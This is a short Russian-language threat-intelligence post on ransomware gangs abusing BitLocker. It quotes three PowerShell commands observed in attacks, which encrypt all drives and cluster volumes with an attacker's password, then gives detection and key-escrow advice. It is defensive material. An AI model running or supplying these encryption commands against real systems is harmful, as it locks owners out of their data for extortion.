Мы уже рассказывали, что вымогатели любят использовать Bitlocker для шифрования своих жертв. Этот инструмент установлен практически на всех современных ОС Windows, является легитимной компонентой ОС (не детектируется антивирусами), надёжно шифрует диски (без ключа расшифровать невозможно) и сильно затрудняет расследование атаки, поскольку все криминалистические артефакты (журналы ОС, реестр, файловая система) оказываются полностью зашифрованными.

А ещё Bitlocker может быть активирован удалённо с помощью простой PowerShell-команды. Мы встречали использование таких команд:

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -Pin $SecurePassword -Mount $Drive -TPMandPinProtector -skiphardwaretest -UsedSpaceOnly}

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -password $SecurePassword -Mount $Drive -PasswordProtector -skiphardwaretest -UsedSpaceOnly}

if (Get-Command Get-ClusterResource -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterResource) { Suspend-ClusterResource $Cluster; $PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker  $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly; Resume-ClusterResource $Cluster} }

Что делать защите? Во-первых, с помощью групповой политики можно включить сохранение ключей расшифровки Bitlocker в Active Directory. Однако, если злоумышленники получили права доменного админа, то они могут отключить эту настройку.

Во-вторых, чтобы детектировать подобную атаку, нужно отслеживать в EDR/SIEM запуск командлета enable-bitlocker и утилиты manage-bde.exe.

Больше подробностей о техниках вымогателей и о методах борьбы с ними – в докладе Григория Саблина на Volga CTF (Самара, 18 сентября).